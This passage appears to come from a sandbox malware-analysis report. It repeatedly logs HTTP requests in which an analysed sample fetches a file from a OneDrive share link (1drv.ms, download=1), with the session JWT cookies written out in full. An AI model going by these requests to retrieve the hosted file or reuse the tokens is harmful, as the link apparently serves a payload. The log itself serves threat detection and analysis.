Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzcwLCJuYmYiOjE3MjAxMTY5NzAsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiTXVsZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImE3ZjYzMTk3NzRlMGYyY2NiMGU4ZmMxYmU3MDlmY2U1IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5NzB9.h7bAU7bWvJlRQg4qk1ERmYGcM72l7LjFylSE5lQIcmPM8CcaRncO2ObT8cep-932ezih0y8huKckETSEjxaJbnmtILW9qsr9wWwSGjvXTmaUUI8YPv7RrTCCcsnLdt8EzH_1E5pwjJvS-pRqMxaWWlwk3YF6FjS_rzd0qEnGM5T9qxLf1fMGDpTGKBp63wI9QUzdcq-KcmR67YHsJ10Siv3CSOO7a7tfRnNLRw4-Dm8IUBTo6JpOILNwNuXo--jPYqnwJCgvOsVer0Cd0zBswzEMoC30D3F8K5nk4pBrTwusjtDWjMtVUiIX0SbresTcJjAiwDL-obC61rt4xXM6vg; E=P:veKYYVWc3Ig=:RX0j3Z75Pf1W2jSYhJ0jj+Y8gl2DU6+1pJlhqaBJyCM=:F; xid=a7818203-278a-471e-a9e4-40005a731083&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzczLCJuYmYiOjE3MjAxMTY5NzMsImdpdmVuX25hbWUiOiI1MSIsImZhbWlseV9uYW1lIjoiQ2F0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNTgyMGIwNTFjOTkzNjEzZjY5MmYzOTQ0NGZiNzYyNGYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk3M30.SkckBvwmESEqY9_pp-lR4rfPpur5YgWZOKHDMutIji54XfvzF8gZyHw7vmhGlybV1TyCPxmTYfPOKe7T8EwkkeK4xoL6_XhnP1r_UpJZBG48n6W7743xpdpozUdMHTtQO_IPcOv5v83DXG5NmXjeL7zBVazqi2NYwHzIHlHFfYTm5p_BJ6mDLLngMTMf92vUDzLTwDudNqDuZRqRTBCPE2fNP-0Nvy7TAqWEdQ1hPc16qgVdK3MrgIxXlB6UZVhPGNfsDkGDcQmEx7QHaKx8jpI8eZCUb4MxM9XB3jYjDW76AvBcrx3Ofm-OPm_qfJKplUAkm1zF8KR-nQSR0NRMLA; E=P:WQFtY1Wc3Ig=:cBp7i5W4gIwJuPlwEiNHDJM0TsZyT7ZPWurKLkYY5JY=:F; xid=5cfb20bf-5718-4b60-800a-dd527b442040&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzc2LCJuYmYiOjE3MjAxMTY5NzYsImdpdmVuX25hbWUiOiI2MCIsImZhbWlseV9uYW1lIjoiRmluY2giLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI0ZjA1YWE5Njc3MmI3MTA4Mjc5YWJiNzFhMzA5YzU1MCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTc2fQ.eyrJmY3RnpNJCKkKLPC227iqynvSpI7xSWuslNUyekFcCMu1E0KvdcJUbRiHIiOXWQLFnVCXM0CZMjYyvdeRYq0yKWB8Rd7TFkUYEcsbqUuykKEqh2xbsYsY2e24zeWt0ljKAR5xO39yIGJ1JbfkldGr22Pk8nxdsNQX9YLnuAku3DdSDcn5xAvZKXRdaJOr8NYRPlGqiR-VwTk4aJ1wpyN0yybqfH-7Ze-QXIJ8zpDiQUsM5H7B9_FRy3oL8EcJqQiyLSFE6nqIN2qo-SHHGWLnRO147m_MTs3Mes3l0TSURqJP5Rfow2zsnvK_P8JebBtm4EOGpCcoZ5kHItXYGA; E=P:Bf9dZVWc3Ig=:A0xan4QkKxMo0K+15OZQ0e5c561uaoR5O3CZSE66gW8=:F; xid=d4f90ade-cd5c-4ba7-bd50-f524e99e4b73&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzc5LCJuYmYiOjE3MjAxMTY5NzksImdpdmVuX25hbWUiOiIzNyIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNDE1OTQ0ZDI2YjFjYzg1NjExNmY3MDI1ZWI2OTY5YTUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk3OX0.DRVBml3jzN7MlV-WvHw9CK5hQbb7QnHGLoBkmSv46VgorP8OQqDbf7VwEzUS0aHNeymyblNrl52I1O6hmS86-XzSqa5Gf5jkpYjjhYnDIMLatcC77YDbNXunVg8MX4Yp47kt-UxBo4ZZm6zsdkGCpKl3p9k1JOCgqdL2R-3YhHLZ0RdwJ9KNCrXkrsXKy0KVfq0o7BNdhMAkJb6inch_7vUrMdpxy4Rm90qrqxNfMVtUYNn1teqsiscwKSPKPc2pOo86alQEUdHz8ebtZ68plsr7Ar6albtcpBNZzHVfIcJsEbupBDXUg6Qju7jcKL6B98KQuZ6uxp6hLYTusDt27w; E=P:ykBBZ1Wc3Ig=:6Lh6MZ1GrqAwa934BIoKjvKBex9i0nS5Cje99Nx34tc=:F; xid=78918723-f402-4bd7-a49f-cee669becd5d&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzg0LCJuYmYiOjE3MjAxMTY5ODQsImdpdmVuX25hbWUiOiIyOSIsImZhbWlseV9uYW1lIjoiQ2F0dGxlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNmU1NmZkZTdkZjJhN2Q3MzRmYjJiMTM5MjZiYzdmNmIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk4NH0.A8H38CC5GnaUwAHby4XHZDLvRwJLiM2wC8hZ_XrfhOHU9W_-EbHbjW7Cr5MYCstHl-pyvyV-TH1zIbtOQzZV_FwJqI08EuTlf4aoI2uEV6zxJkCI9YLF8YgYXmtL62MROwNkzlM4FXREF6H8xPk0Rw-juurayZsAXJyWvAPY5xwWN-09JpHNWeCZ2N_EhSNtcWqEy4Z_tBj84MO7r-4dWzh7Dgw7hwz8I8m7rEighhuNwxk09FzfzXr6KKRlx0UzVIF3CXQcoXWtU3WMbjpfjVqECrxp9d6jVK7J9dHVt4y8bk8ZSVQ-Kj40kPllIiLH1p_uayJdzelQiWk45Y9l6Q; E=P:OaTRaVWc3Ig=:G4doDmkaWFRe7EZ0t26bIMwRRNi9IRfQ4dEpFkBQ06I=:F; xid=24641249-8f0a-4180-a85e-fd0f5cb66f48&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzg5LCJuYmYiOjE3MjAxMTY5ODksImdpdmVuX25hbWUiOiI4MSIsImZhbWlseV9uYW1lIjoiQmVhciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImJlNTE1N2EwY2M0NjQzMWVhZjUzY2ZlMDU3NDlhZDY4IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5ODl9.ZTxlP3Nw4-mDALthZTvgZfwlvirc1fWp3xlPqyffn6jlLlXGDSEyszdEMjCTDxpuUlCs0nVISjtSri0s6EnLU-XlEArKBqhn9i05GwZnDxnwhI3Xk2TPvPMD2N4FYjm3JnVd_IiKkRJbOOxQ4PdMYFCad5GvSfvVO0h9kluVcEuctFQSWYD46Spim8o6TVLbt6XhML2TY3r8qvpqWw4_m6ho2Oz2TvLpvkhtZ4OHGs4udS8BY6_VsmTDJBZXpWdwWoEPy5Syet7_lB02KY2Um3mh-ZhcOjQQ0chHcFJNsM2R-pA7yn5Z6whz_nGL6LfBlbaey4G7YWjvcK2jFA9JKw; E=P:8AX0bFWc3Ig=:LZbrhg6b6BQkmsXqbtMNxbuLx8hk7Cez1umANXkk/AU=:F; xid=584f9db2-02a8-4bd3-8486-ddd4b2980e1e&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzkyLCJuYmYiOjE3MjAxMTY5OTIsImdpdmVuX25hbWUiOiIxNCIsImZhbWlseV9uYW1lIjoiV2hhbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJiYmM1N2FiMDcwOTllOWQ0YzFjMjQ5NDcwNmNhZDE4ZCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTkyfQ.IndgdPbPs2JEeYo9wHcgNxYRs66m-JtICVMBJ4dr4mYvyWpIA9ZT5igZbDEHGW_vOct1K_2wz_DmaILmUqanERETQh-oKei81FzPudT2DExTjxHXH7CEcsEheZ861O1HLfdyqUvZS1tk8U3p_aNW9TGFMCa1hGNQqNJEAYK7tYbCRyicBjfCE0qS3Tw3nP7L32yCVzKwin5N58T3OVN8MsXlQY6pJrTSbKQX611XGAfo4tyEhxd0V0w3IMIAsvnACnYH9-QpK290GCMm_rUxcux9zxf0BPKwBSXiycWcptEmGw3-aUJ-fW4K5bFbbC0-SWOKsIykrVZ4R8NZsZEQOg; E=P:Lx8Kb1Wc3Ig=:rDRpPwadbJd1Vaz1K7cbLgcyL50aYLnhjX66tE3OUtw=:F; xid=1f589e86-5ce7-42b3-a1c9-0b51b94a5752&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzk2LCJuYmYiOjE3MjAxMTY5OTYsImdpdmVuX25hbWUiOiI5NCIsImZhbWlseV9uYW1lIjoiUGVhZm93bCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImRhNWMyNDk0YzIzNTVjMzlmNjQxYjA4MTQyZDExMGRlIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5OTZ9.pHYh7HI3jGSjlcrUU1pxaC1LTlQxwj9SRBabhT4gqqL930XC7PXb1pF1uA4hV76Z2TtYKxUR-I954A8Uhs-93eHPUr8zDweZ0yrYXgcOItNarAS_HbCOEZmiqpRgCAVSqdVrNw3gi5vmeGwXnxqUYTROGAevIf48mV9TsdzYv3mod-JTJeSwI8KxInavT02vZfoE9c4JzKJLOdjarLipvdWgZIlTO5GI2y-FbaijXxxcvG7NpXTpjPt12bAVPDuxD871zukjO7TTvTI7t1izKJ4RCCy_BTlOqvjhNn49JjKNNVP0dS2_AI3C_M68fzRcQpK7Ckh9eo2tV8KAap_stA; E=P:5agjcVWc3Ig=:wHmRBo2tz1sjEeVtYZaIf671dZJ3jhdYlhaSKLxRq2c=:F; xid=b876e420-faa5-442a-aed6-e4fa6e6a60ce&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzk5LCJuYmYiOjE3MjAxMTY5OTksImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiTG9ic3RlciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImIzYTBjYWFkMjk3ZjEwZTc1ZGVhNzE5MjJhZTQ4NmU0IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5OTl9.SerQlmWNcua-ZJsgbT3gT3cqC4OrJlEeovW0543RVjjkLcWo4j0bgqFT-57XoWJ1z4xGNtMzF02CObb8B2CGfxyLqoYiOhVWN_-_fTodbYkNF7M7qef0fzfBIo5c0fBjTp1rGaY6_koH4e015YBcu8-aLGgX4lqpigcqoKK746nI5oeDwk11WH9S3514zb75pyRfO60W5lZEwxkxUzQmUsZLOjqkt3fkpUPxGkR4dQtyrqOy8daWl8Teo9iySsJi03z-EaRVY3bgqhgpo4eIm89YEKEbyMsnkkBbASLl_7NrSB9ieoDNgb1bO9vaF-jMyrLqz186z-YtkMq2ATYpCg; E=P:/l8Uc1Wc3Ig=:T0jantWJXIuXfPbPMBo2pzyxSRxW5PNJjPV2r+TL3N8=:F; xid=b0bbc841-bb45-41a5-98de-32db8fcd231f&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODAzLCJuYmYiOjE3MjAxMTcwMDMsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiU25haWwiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJmYTkyYzVjOGY3ZDI4ODdiNzcyNjQxMTkzYjE4MGQ1YiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDAzfQ.bpLSWI_-Gp-xAZ0OBgh5gNKrg-RG96SnnD6KDlxEBrVSroPbiivkw-1TwVmA7wOJFdaoszKbtJxN0KXJDaxsvD1tWygI4T5Rab7cETjip2902eRXDUW43hlBDIzCHy0Jy5WV-gpaI4_kg05nIOPia-xj9KUnUvMJLdtXUPo6PRofUmW_pPQkqce8yr5n1CD5ryp_I5LJkeAOzaPPzVpjNYIyKswI8GUMFrm27RUasNaB8h7qyGwxPDVNwZGs0RoCBSEzI00MChih6taSzOWfotfL3INWV6BeKIOEb-3Jecq0pf7-sBgoUIIg3FK3yJVyCsVSpFKHCG-z_dgFfKWv7g; E=P:09EUdVWc3Ig=:+wFe02y5TJpogyh36iVtTDIybT1Zgqodaq8Ea7LT2Ac=:F; xid=06b2ffe9-5b3c-4006-8786-4430883b992f&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: 